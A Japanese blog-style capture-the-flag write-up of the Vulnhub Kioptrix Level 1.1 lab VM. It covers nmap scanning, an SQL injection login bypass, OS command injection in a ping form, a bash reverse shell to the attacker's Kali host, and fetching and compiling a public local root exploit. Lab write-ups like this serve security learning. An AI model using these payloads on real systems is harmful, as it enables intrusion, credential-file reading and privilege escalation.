Vulnhubをやってみる!Kioptix Level 1.1編

セキュリティ

前回に引き続き、Vulnhubを勉強しようと思います。

勉強のペースが落ちているので、ちゃんと計画的に進めていかないといけないですね。

エンジニアは何歳になっても勉強を続けていかないといけないところは個人的には良いところだと思っています。

攻略していくのは面白いので、ゲーム感覚で続けられるのは良いところですね。

攻略するサーバについて

今回は先日紹介したブログに出ている「Kioptrix: Level 1.1」です。

このVMについてはここからダウンロードできますので、興味がある方はどうぞ!

前回同様、ネットワーク接続を「NAT」にしても強制的に「ブリッジ」になってしまいました。

やはり「.vmx」ファイルを書き換えてNATにできるようにしました。

社内等の管理された環境で使用する場合は気を付けてくださいね。

ちゃんとしているところだと、いきなりNW上にOSが現れたりしたら、管理者にガチで怒られると思うので。

サーバの発見

サーバを見つけます。

KaliのIPアドレスは前回と同じで「192.168.119.129」です。

対象サーバも同じ環境にいるので、nmapで探します。

 

# nmap -sn 192.168.119.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-12 19:43 EST
Nmap scan report for 192.168.119.1
Host is up (0.00015s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.119.2
Host is up (0.00014s latency).
MAC Address: 00:50:56:FE:3C:58 (VMware)
Nmap scan report for 192.168.119.132
Host is up (0.00021s latency).
MAC Address: 00:0C:29:40:0E:8D (VMware)
Nmap scan report for 192.168.119.254
Host is up (0.00021s latency).
MAC Address: 00:50:56:E8:4E:54 (VMware)
Nmap scan report for 192.168.119.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.98 seconds

上記結果となりましたので、対象のIPアドレスは「192.168.119.132」であることがわかりました。

オープンポート確認~脆弱性発見

次にオープンポートを確認します。

# nmap -p- 192.168.119.132
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-12 19:39 EST
Nmap scan report for 192.168.119.132
Host is up (0.0013s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
631/tcp  open  ipp
775/tcp  open  entomb
3306/tcp open  mysql
MAC Address: 00:0C:29:40:0E:8D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.11 seconds

上記のポートが開いていましたので、さらに開いているポートに対して「-A」で詳細を見ていきます。

 

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
| ssh-hostkey:
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            772/udp   status
|_  100024  1            775/tcp   status
443/tcp  open  ssl/https?
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after:  2010-10-08T00:10:47
|_ssl-date: 2021-01-12T22:35:14+00:00; -2h09m37s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
631/tcp  open  ipp        CUPS 1.1
| http-methods:
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
775/tcp  open  status     1 (RPC #100024)
3306/tcp open  mysql      MySQL (unauthorized)
MAC Address: 00:0C:29:40:0E:8D (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

ここら辺まではデフォルトでやる形にしています。

とりあえず、ポート80が開いていますので、ブラウザから「http://192.168.119.132」アクセスしていきます。

以下のようにログイン画面が表示されました。

試しに以下の情報で認証してみます。
ID:amin
PW:password

特に画面が変わらないため、失敗したと判断しました。

次にログイン処理といえばSQLインジェクションなので、検査していきます。

手作業でも時間はかからないのですが、burpのIntruderを使ってやっていきます。

まずは検査のシグネチャを作成します。

以下のように検査で使用するシグネチャをテキストに書きます。

次にburpのhistoryから検査したいログを「Send to Intruder」でIntruderに送ります。

送ると以下のように自動でパラメータの値が「§」で囲われます。(小さくてすみません・・・)

この囲われた箇所に対して検査が実施されます。

私はシグネチャを既存の値の後ろにつけたいので「§」を以下のように変更しました。

Payload Optionsの「Load」箇所で先ほど作成したファイルを読み込んでやると以下のように自分で作ったシグネチャが読み込まれます。

これで準備はOKですので、実行します。

画面上の「Intruder」⇒「Start attack」(赤枠箇所)より実行できます。

実行結果を見ていると以下のように「’||’」を入力した箇所のレスポンスの長さが異なっています。

レスポンスに「Welcome to the Basic Administrative Web Console」と記載があるので、ログインに成功しています。(さすがMySQL)

実際の動作でも以下の入力で確認してみると、以下のとおりログインが成功しました。
ID:admin’||’
PW:password

認証後の機能はネットワーク上のマシンにpingを送信するものらしいので、試しにKaliのIPアドレス「192.168.119.129」を入力してみます。

すると以下のとおり、pingの実行結果が返ってきました。

これはOSコマンドインジェクションが怪しいので、試しに「192.168.119.129;cat /etc/passwd」と入力してみます。

予想通り、pingの結果の後に「cat /etc/passwd」の結果が出力されました。

ただ、whoamiで権限を確認したところ「apache」と表示されましたので、rootを取得するため、次は権限昇格を狙います。

権限昇格

まずはOSコマンドインジェクションを利用してリバースシェルでKali側からコマンドを試みます。

Reverse Shell Cheat Sheet」という大変便利なものがあるので、こちらを参考にやります。
※ウイルス対策ソフトによっては危険なサイトとして表示されるかもです。

Kali側

$ nc -lvp 8888                                                                                                                                         
listening on [any] 8888 ...

この状態で、「192.168.119.129; bash -i>&/dev/tcp/192.168.119.129/8888 0>&1」を入力します。

すると以下のようにKali側から、リバースシェルでコマンドを入力することが可能になりました。

これでいろいろ調べていきます。

よくあるのが、OSのバージョン情報の調査です。

調べてみると「/etc/<distroname>-release」で見れるらしいです。

詳細がわからないので「ls /etc/*-release」で調べてみると以下のようになりました。

 

bash-3.00$ ls /etc/*-release
/etc/redhat-release

このファイルをcatしてると以下のようになりました。

 

bash-3.00$ cat /etc/redhat-release
CentOS release 4.5 (Final)

この情報から、今度はKali「searchsploit」を使用してexploitコードを調べてみます。

「searchsploit CentOS 4.5」で検索すると以下のように出力されました。

ハイライト箇所のコードが使える感じなので、まずは自分の管理するディレクトリに持ってきます。

フルPathは「/usr/share/exploitdb/exploits/linux_x86/local/9542.c」ですので、「cp」でコピーしましょう。

次にこのコードを攻撃対象サーバへ持っていくため、Kaliの公開ディレクトリにコピーします。

まずは持ってきた「9542.c」を「/var/www/html/」配下へコピーします。

その後、「service apache2 start」と入力しapacheを起動します。

次に攻撃対象サーバ側で「wget http://192.168.119.129/9542.c」と実行すると以下のようにKaliからexploitコードを持ってくることができました。
※wgetする前に、「cd /tmp」でディレクトリ移動しています。

 

ここまでくればあとはコードを実行すればいいのですが、前回同様に「9542.c」をコンパイルしなければいけませんので「gcc」コマンドを使用してコンパイルします。

bash-3.00$ gcc 9542.c -o CentOS_exploit
9542.c:109:28: warning: no newline at end of file

実行前にファイルの権限を「ls -l」で確認します。

bash-3.00$ ls -l
total 12
-rw-r--r--  1 apache apache 2643 Jan 13 01:39 9542.c
-rwxr-xr-x  1 apache apache 6932 Jan 13 22:35 CentOS_exploit

実行権限もついていることがわかりましたので、「CentOS_exploit」を実行します。

以下のとおり、攻撃が成功し、「whoami」コマンドで権限を確認したところ、「root」になったため、攻略完了です。

 

bash-3.00$ ./CentOS_exploit
sh: no job control in this shell
sh-3.00# whoami
root

感想

個人的にはWeb側の脆弱性が非常に簡単だったので、前回より楽でした。

この調子で、数日に一台ペースでひとまずは攻略して、ブログにUPしていきたいなと考えています。

もう少し難しいものになったら、だいぶ更新遅れそうですが、頑張ります。

皆さんの中でもお勧めの問題があったら教えていただけると助かります。
※できればブログにWriteUp可能な問題だとうれしいです。

不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。

 

コメント